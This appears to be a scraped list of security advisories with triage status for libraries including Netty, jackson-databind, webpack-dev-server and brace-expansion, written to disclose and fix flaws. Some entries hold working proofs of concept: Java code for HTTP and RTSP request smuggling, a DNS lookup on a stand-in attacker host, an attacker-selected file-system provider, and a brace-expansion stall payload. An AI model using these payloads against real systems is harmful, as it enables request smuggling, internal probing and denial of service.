False positive | 2026-07-20 | 5.6 ×95.5 ×205.4 ×14 | ### Impact An unauthenticated peer that can reach the `webpack-dev-server` process can terminate it by sending either a normal HTTP request with a malformed `Host` header, or a WebSocket upgrade to the default `/ws` endpoint with a malformed `Origin` header. The malformed header triggers an uncaught exception in the host-validation path and crashes the dev server process. ### Patches Fixed in `webpack-dev-server` 5.2.6 by treating malformed `Host` and `Origin` header values as invalid rather than throwing (see [PR #5699](https://github.com/webpack/webpack-dev-server/pull/5699)). ### Workarounds Keep the dev server bound to `localhost` (the default) and do not expose it to untrusted networks. | |
| 5.3CVSS 3.1 | GHSA-mfg7-5gfp-c4w3
CVE-2026-73508 |
False positive | 2026-07-24 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Summary A memory leak can be caused in Netty's DNS codec by sending malicious DNS packets containing invalid domain names. Because the leak occurs incrementally per packet, sustained malicious requests will cause a gradual Denial of Service. ### Details Inside `io.netty.handler.codec.dns.AbstractDnsRecord`, the parsed domain name string is passed to `IDN.toASCII(name)`. If the domain name contains characters that violate IDNA rules, `IDN.toASCII` throws an `IllegalArgumentException`. Because this exception occurs inside the constructor before the `DnsRecord` instance can assign the buffer to its content field for later release, the ByteBuf whose reference count was incremented (or newly allocated) is never released, resulting in a direct memory leak. There are several places where variants of this leak happen: - `io.netty.handler.codec.dns.DefaultDnsRecordDecoder#decodeRecord(java.lang.String, io.netty.handler.codec.dns.DnsRecordType, int, long, io.netty.buffer.ByteBuf, int, int)` invokes `in.retainedDuplicate()` or creates a new buffer `out` when constructing `DefaultDnsRawRecord` - `io.netty.handler.codec.dns.DnsCodecUtil#decompressDomainName` allocates a new `ByteBuf` and passes it to `encodeDomainName()`. If the decompressed domain name contains a null byte (`\0`), `encodeDomainName()` throws an `IllegalArgumentException`, leaking the newly allocated buffer. ### Impact Resource Exhaustion. Any application utilizing Netty's DnsRecordDecoder (such as DnsNameResolver or custom DNS servers) is vulnerable. | |
| 5.3CVSS 3.1 | GHSA-mh29-5h37-fv8m
CVE-2025-64718 |
False positive | 2025-11-14 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. ### Patches Problem is patched in js-yaml 4.1.1 and 3.14.2. ### Workarounds You can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default). ### References https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html | |
| 5.3CVSS 3.1 | GHSA-mx8g-39q3-5c79
CVE-2026-9595 |
False positive | 2026-06-17 | 5.6 ×95.5 ×205.4 ×14 | ### Impact When a user-configured proxy on `webpack-dev-server` has a broad context (e.g. `/`) and `ws: true`, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and `Origin` header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket). ### Patches Fixed in `webpack-dev-server` 5.2.5. ### Workarounds Scope user-defined proxy `context` to specific paths instead of `/`, or omit `ws: true` from the proxy entry when WebSocket forwarding is not required. | |
| 5.3CVSS 3.1 | GHSA-q2hr-2g5m-vwhr
CVE-2026-102277 |
Resolved | 2026-09-29 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary Expanding `{a},b}`-shaped input takes time quadratic in the number of literal `}` characters, blocking the event loop. Bash preserves a quirk where a brace group followed by a comma set still expands (`{a},b}`). The parser implements this by rewriting the string and restarting the scan. Each pass absorbs exactly one `}` and re-scans from the beginning, so `n` trailing braces cost `n` full passes. ### Reproduction ```js const build = n => '{a}' + '}'.repeat(n) + ',z}' for (const n of [8000, 16000, 32000, 64000, 128000]) { const t = Date.now() expand(build(n)) console.log(n, Date.now() - t + 'ms') } ``` | n | input | time | results | |---|---|---|---| | 8,000 | 8 KB | 110 ms | 2 | | 16,000 | 16 KB | 446 ms | 2 | | 32,000 | 32 KB | 1.7 s | 2 | | 64,000 | 64 KB | 6.9 s | 2 | | 128,000 | 128 KB | **27.7 s** | 2 | `ms/n^2` is flat at ~1.7 and each doubling of `n` costs exactly 4.0x - quadratic. 128 KB of input blocks the event loop for nearly half a minute to produce two results. ### Mechanism Instrumenting the rewrite branch confirms it runs exactly `n + 1` times, once per literal `}`, each re-scanning the whole string. There is a second multiplier. The rewrite replaces the group's closing `}` with the internal `escClose` sentinel, which is `'\0CLOSE' + Math.random() + '\0'` - about 25 characters. The working string therefore *grows* by ~25 characters on every pass: | n | input length | final string length | |---|---|---| | 1,000 | 1,006 | 26,006 | | 8,000 | 8,006 | 208,006 | So the input is inflated roughly 26x, and that factor multiplies both the quadratic constant and peak memory. This makes it partly a memory-pressure issue as well as a CPU one. ### Why `max` and `maxLength` do not help The cost is in parsing, before the result set exists. The payload yields 2 results regardless of size, so neither bound is ever reached. ### Impact An application passing an untrusted pattern to `expand()`, directly or through `minimatch` / `glob`, can have its event loop blocked for tens of seconds by a payload well under minimatch's 65,536-character cap. For a single-threaded Node server that is a full stall, not just a slow request. Degraded availability rather than a crash - the process recovers once the expansion completes. ### Affected versions Verified affected on 1.1.18, 2.1.4, 3.0.6 and 5.0.9, all within a few percent of each other (~460-490 ms at n=16,000). ### Patch The rewrite loop gets an iteration bound. Past the cap the remaining string is treated as non-expanding and returned literally, consistent with the existing `max` / `maxLength` caps, which truncate rather than throw. Note this bounds the number of passes, not the cost of each: worst-case work remains proportional to `cap x input length`. The cap is set low enough that the residual is bounded in practice, and far above what any realistic `{a},b}` input needs. ### Severity note Scored 5.3 Medium (`A:L`) for consistency with GHSA-3jxr-9vmj-r5cp, the other algorithmic-complexity advisory on this package (CWE-407), which uses the same vector. The stack-exhaustion advisories on this package score `A:H` because they crash the process outright; this one stalls it. | |
| 5.3CVSS 3.1 | GHSA-rcgg-9c38-7xpx
CVE-2026-45292 |
Resolved | 2026-05-14 | 5.7 ×55.6 ×95.5 ×205.4 ×14 | ## Overview A vulnerability affects the baggage propagation implementation in `opentelemetry-api` and `opentelemetry-extension-trace-propagators`. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. ## Technical Details - `W3CBaggagePropagator` did not enforce any limit on the total size or entry count of the `baggage` header. The parser iterated character-by-character through the entire value regardless of length. - `JaegerPropagator` and `OtTracePropagator` had the same gap in their respective baggage extraction paths. - The W3C Baggage specification recommends a maximum of 8,192 bytes and 180 entries; none of these limits were enforced. ## Impact The practical availability impact for most deployments is limited. Every major Java HTTP server enforces its own header size limit (Tomcat, Jetty, Netty, Vert.x, and gRPC-Java all default to 8 KiB), constraining what an external attacker can deliver before the application is reached. The risk is higher when transport-layer limits are absent — e.g., a compromised internal service communicating over a non-HTTP or custom transport. ## Remediation Update to version 1.62.0 or later ([#8380](https://github.com/open-telemetry/opentelemetry-java/pull/8380)). The fix enforces limits consistent with the W3C Baggage specification at the propagator level: - Maximum total baggage size: 8,192 bytes across all `baggage` header values - Maximum number of entries: 64 Headers that would exceed either limit are dropped at the point the limit is reached; already-extracted valid entries are retained. ## Workarounds Ensure HTTP header size limits are configured at the server or gateway level. Most Java HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix. ## References - [W3C Baggage Specification §Limits](https://www.w3.org/TR/baggage/#limits) | |
| 5.3CVSS 3.1 | GHSA-v8h7-rr48-vmmv
CVE-2026-41417 |
Resolved | 2026-05-05 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | ### Summary Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests. In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side. ### Details The root issue is that URI validation exists only on the constructor path, but not on the public setter path. - `io.netty.handler.codec.http.DefaultHttpRequest` - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)` - `setUri(String uri)` only performs `checkNotNull` and does not validate - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `setUri(String uri)` delegates to the parent implementation - `io.netty.handler.codec.http.HttpRequestEncoder` - Writes `request.uri()` directly into the request line - `io.netty.handler.codec.rtsp.RtspEncoder` - Writes `request.uri()` directly into the request line This creates the following bypass: 1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI 2. Later, attacker-influenced input is passed into `setUri()` 3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim 4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API. ### PoC (HTTP) The following code first creates a normal request object and then injects a malicious request line using `setUri()`. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil; public final class HttpSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec()); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe"); request.setUri("/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retainedDuplicate()); Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); } outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } } ``` When reproduced, the raw encoded request looks like this: ```http GET /s1 HTTP/1.1 POST /s2 HTTP/1.1 content-length: 11 Hello WorldGET /s1 HTTP/1.1 ``` `HttpServerCodec` then parses this as multiple HTTP messages rather than a single request: - `GET /s1` - `POST /s2` with body `Hello World` - trailing `GET /s1` This confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests. ### PoC (RTSP) The same root cause also affects `RtspEncoder`. A minimal reproduction is shown below. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil; public final class RtspSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder()); DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media"); request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" + "OPTIONS rtsp://cam/final"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded RTSP request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by RtspDecoder ==="); server.writeInbound(outbound.retainedDuplicate()); } } ``` When reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload: ```text OPTIONS rtsp://cam/stream RTSP/1.0 CSeq: 1 DESCRIBE rtsp://cam/secret RTSP/1.0 CSeq: 2 OPTIONS rtsp://cam/final RTSP/1.0 ``` `RtspDecoder` then parses this as three separate RTSP requests: - `OPTIONS rtsp://cam/stream` - `DESCRIBE rtsp://cam/secret` - `OPTIONS rtsp://cam/final` This confirms that the same setter bypass is exploitable for RTSP request injection as well. ### Impact The vulnerable conditions are: - The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest` - The request object is created first and later modified through `setUri()` - The value passed into `setUri()` is attacker-controlled or attacker-influenced - The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder` Under those conditions, an attacker may be able to: - perform HTTP request smuggling - trigger proxy/backend desynchronization - inject additional requests toward internal APIs - confuse request boundaries and bypass assumptions around authentication or routing - inject RTSP requests The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible. ### Root Cause Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant. As a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation. ### Suggested Fix Direction `DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors. Recommended regression coverage: - verify that `setUri()` rejects CRLF-containing input after object construction - verify that `DefaultFullHttpRequest.setUri()` is blocked as well - verify that spaces, `\r`, `\n`, and request-smuggling payloads are rejected - verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses ### Affected Area - `netty-codec-http` - `io.netty.handler.codec.http.DefaultHttpRequest` - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `io.netty.handler.codec.http.HttpRequestEncoder` - `io.netty.handler.codec.rtsp.RtspEncoder` | |
| 5.3CVSS 3.1 | GHSA-vvgp-rfg2-7rr6
CVE-2026-77310 |
Resolved | 2026-09-28 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Summary CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of `java.net.InetSocketAddress` by switching to `InetSocketAddress.createUnresolved(...)` (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling `java.net.InetAddress` branch in the very same `FromStringDeserializer.Std._deserialize()` switch statement, which still calls `InetAddress.getByName(value)` and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through `InetAddress`. ### Details File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java Sibling cases in the same switch: - Line 357-358 (UNFIXED): case STD_INET_ADDRESS: return InetAddress.getByName(value); // eager forward DNS lookup - Line 359-381 + helper at 494-496 (FIXED by PR #5951): protected InetSocketAddress _inetSocketAddress(String host, int port) { // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup: return InetSocketAddress.createUnresolved(host, port); // no DNS } `InetAddress` is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an `InetAddress`-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches `InetAddress.getByName(attackerControlledString)`, which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation. The parent fix's own added unit test asserts `address.isUnresolved()` with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property. Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through `_inetSocketAddress -> createUnresolved`, while `InetAddress.getByName` is still emitted unchanged in the InetAddress branch. ### PoC Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8. A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host: ObjectMapper m = new ObjectMapper(); // InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class); // InetAddress (unpatched sibling): 1 resolver lookup on the attacker host m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class); Observed output (jackson 2.18.8): [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example A standalone variant (no SPI) using an RFC-6761 `.invalid` canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java. Reachability with a plain field (no annotations, no polymorphism, no default typing): static class Config { public InetAddress bindHost; public int port; } mapper.readValue("{\"bindHost\":\"poc-reach.example\",\"port\":1}", Config.class); // -> resolver invoked on "poc-reach.example" ### Impact An attacker who can influence JSON deserialized into an `InetAddress` target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket. Suggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation). Credit : Ta Duc Thien | |
| 5.3CVSS 3.1 | GHSA-wf66-mphr-4c4r | Resolved | 2026-04-20 | 5.4 ×14 | Information exposure vulnerability has been identified in Apache Kafka. The NetworkClient component will output entire requests and responses information in the DEBUG log level in the logs. By default, the log level is set to INFO level. If the DEBUG level is enabled, the sensitive information will be exposed via the requests and responses output log. The entire lists of impacted requests and responses are: * AlterConfigsRequest * AlterUserScramCredentialsRequest * ExpireDelegationTokenRequest * IncrementalAlterConfigsRequest * RenewDelegationTokenRequest * SaslAuthenticateRequest * createDelegationTokenResponse * describeDelegationTokenResponse * SaslAuthenticateResponse This issue affects Apache Kafka: from any version supported the listed API above through v3.9.1, v4.0.0. Apache advises Kafka users to upgrade to v3.9.2, v4.0.1, or later to avoid this vulnerability. | |
| 5.3CVSS 3.1 | GHSA-wjgm-6hv5-3cvf
CVE-2026-19032 |
Resolved | 2026-09-28 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary A `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader<FileSystemProvider>` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`. Impact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern. ### Description `NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`): ```java int colonIx = value.indexOf(':'); if (colonIx < 0) { return Path.of(value); } ... final URI uri = new URI(value); // attacker-controlled URI string try { return Path.of(uri); // resolves scheme -> may load a FileSystemProvider } catch (FileSystemNotFoundException cause) { final String scheme = uri.getScheme(); for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) { if (provider.getScheme().equalsIgnoreCase(scheme)) { return provider.getPath(uri); // attacker scheme selects & drives a provider } } // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default) } ``` The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java` - `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body (`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`). ## Proof of Concept Two PoCs are provided. > PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is **PoC 1** — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction. **PoC 1 — sink reached (built-in `jar` provider).** `com/poc/Vuln04_PathProvider.java`: ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import java.nio.file.Path; /** * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via * Path.of(uri) / ServiceLoader<FileSystemProvider>. */ public class Vuln04_PathProvider { public static class Config { public Path workdir; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI. String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}"; System.out.println("Deserializing (default mapper): " + json); try { Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")"); System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue"); } catch (Throwable t) { System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage()); System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)"); } } } ``` **PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).** A third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. `com/poc/EvilFileSystemProvider.java`: ```java package com.poc; import java.nio.file.*; import java.nio.file.spi.FileSystemProvider; import java.nio.file.attribute.*; import java.net.URI; import java.io.IOException; import java.util.*; import java.util.Set; import java.nio.channels.SeekableByteChannel; /** * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real * application's classpath. Its static initializer and getPath() record that they executed, * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri) * inside jackson's readValue. */ public class EvilFileSystemProvider extends FileSystemProvider { public static volatile boolean STATIC_INIT_RAN = false; public static volatile String GET_PATH_URI = null; static { STATIC_INIT_RAN = true; } @Override public String getScheme() { return "evilscheme"; } @Override public Path getPath(URI uri) { GET_PATH_URI = uri.toString(); System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri); // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc. return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker"); } // --- remaining abstract methods: minimal stubs --- @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); } @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); } @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); } @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); } @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); } @Override public void delete(Path p) { throw new UnsupportedOperationException(); } @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public boolean isSameFile(Path p, Path p2) { return false; } @Override public boolean isHidden(Path p) { return false; } @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); } @Override public void checkAccess(Path p, AccessMode... m) { } @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; } @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { } } ``` Registration descriptor — `src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`: ``` com.poc.EvilFileSystemProvider ``` Driver — `com/poc/Vuln04b_PathProviderMount.java`: ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; /** * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to * (1) load the provider class (running its static initializer) and (2) invoke * provider.getPath(attackerUri) -- all inside readValue, with NO application code. */ public class Vuln04b_PathProviderMount { public static class Config { public java.nio.file.Path workdir; } public static void main(String[] args) throws Exception { System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN); ObjectMapper mapper = JsonMapper.builder().build(); // default config String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}"; System.out.println("Deserializing (default mapper): " + json); Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir); System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN); System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI); boolean ok = EvilFileSystemProvider.GET_PATH_URI != null && EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled"); System.out.println(ok ? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)" : "RESULT: NOT reproduced"); } } ``` ## Execution Steps The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath ```bash # 0. Locate the three published dependency jars. M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" # 1. Compile the three sources. cd poc-project mkdir -p out javac -cp "$CP" -d out \ src/main/java/com/poc/EvilFileSystemProvider.java \ src/main/java/com/poc/Vuln04_PathProvider.java \ src/main/java/com/poc/Vuln04b_PathProviderMount.java # 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2). mkdir -p out/META-INF/services cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \ out/META-INF/services/java.nio.file.spi.FileSystemProvider # 3. Run both PoCs. java -cp "out:$CP" com.poc.Vuln04_PathProvider # PoC 1 java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount # PoC 2 ``` ## Reproduction Evidence Executed against jackson-databind 3.2.1 (OpenJDK 25). **PoC 1 :** ``` Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"} Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException` at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"]) RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue) ``` Notes: the JDK **built-in** `jar` provider's `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism. **PoC 2 :** ``` Provider static-init ran before deserialization? true Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"} >>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1 Resolved Path = /var/folders/.../T/evilprovider-marker Provider static-init ran: true Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1 RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven) ``` Purely from a JSON string, jackson's `ServiceLoader` fallback selected the attacker-named scheme's provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs. ## Impact Untrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the scheme-restriction gap. ## Recommended Fix 1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface. 2. **Skip the `ServiceLoader<FileSystemProvider>` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider. 3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON. | |
| 5.3CVSS 3.1 | GHSA-x574-m823-4x7w
CVE-2025-30208 |
